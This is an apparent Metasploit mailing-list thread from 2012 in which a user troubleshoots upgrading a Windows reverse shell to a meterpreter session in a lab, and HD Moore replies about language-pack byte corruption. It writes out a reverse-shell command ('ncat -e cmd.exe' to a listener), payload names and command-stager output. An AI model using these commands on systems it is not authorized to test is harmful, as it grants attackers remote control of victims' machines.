Re: [Framework] Failed to upgrade win32 shell to meterpreter session

[Yuping Li <lyp20062392 () gmail com>]

OK, thanks for the reply. But when I set up another Linux Virtualbox
(English language, BT4) as machine B, and set the payload to
linux/x86/shell_reverse_tcp on machine A (BT5). I can still get the
"single" payload shell, this time when i issue the command "sessions
-u 1", I also get trapped with the following massage:

[*] Started reverse handler on 192.168.100.69:4444
[*] Starting the payload handler...
[-] Error: Unable to execute the following command:
[-] "echo MAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM
.......
AAAAAA>>%TEMP%\\bGfMr.b64"

On machine B, there is a "%TEMP%\\bGfMr.b64" file in current path,
with the above echoed string as its content.




On Tue, Jun 5, 2012 at 11:58 AM, HD Moore <hdm () metasploit com> wrote:
> If the upgrade script is VBS-based and the destination system is not running
> the English language pack, the bytes can get corrupted during conversion.
>
> -----Original Message-----
> From: framework-bounces () spool metasploit com
> [mailto:framework-bounces () spool metasploit com] On Behalf Of Yuping Li
> Sent: Monday, June 04, 2012 10:13 PM
> To: framework () spool metasploit com
> Subject: [framework] [Framework] Failed to upgrade win32 shell to
> meterpreter session
>
> hi,
>
> I set up exploit/multi/handler with payload windows/shell_reverse_tcp
> on a machine A(BT5R2), then on machine B(Windows XP SP3), I connect
> machine A with the following command: ncat -e "cmd.exe" machine_a_ip
> 4444, so I get a win32 shell session. But when I run command "sessions
> -u 1", I can't get a meterpreter session, even though I can see the
> Command Stager progress as follows:
>
> [*] Started reverse handler on 10.50.10.118:4444
> [*] Starting the payload handler...
> [*] Command Stager progress - 1.66% done (1699/102108 bytes)
> [*] Command Stager progress - 3.33% done (3398/102108 bytes)
> [*] Command Stager progress - 4.99% done (5097/102108 bytes)
> [*] Command Stager progress - 6.66% done (6796/102108 bytes)
> [*] Command Stager progress - 8.32% done (8495/102108 bytes)
> [*] Command Stager progress - 9.98% done (10194/102108 bytes)
> [*] Command Stager progress - 11.65% done (11893/102108 bytes)
> [*] Command Stager progress - 13.31% done (13592/102108 bytes)
> .
> .
> .
> [*] Command Stager progress - 99.78% done (101888/102108 bytes)
> [*] Command Stager progress - 100.00% done (102108/102108 bytes)
>
> Then I check with sessions -l, there is still only 1 session (the
> win32 shell), so can someone tell me what's going on?
>
> My framework version is like this: Framework: 4.4.0-dev.15205
> Console  : 4.4.0-dev.15168
> There is no av on the XP sp3 box, no ips/ids between two machines.
>
> Best Regards,
> Yuping Li
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework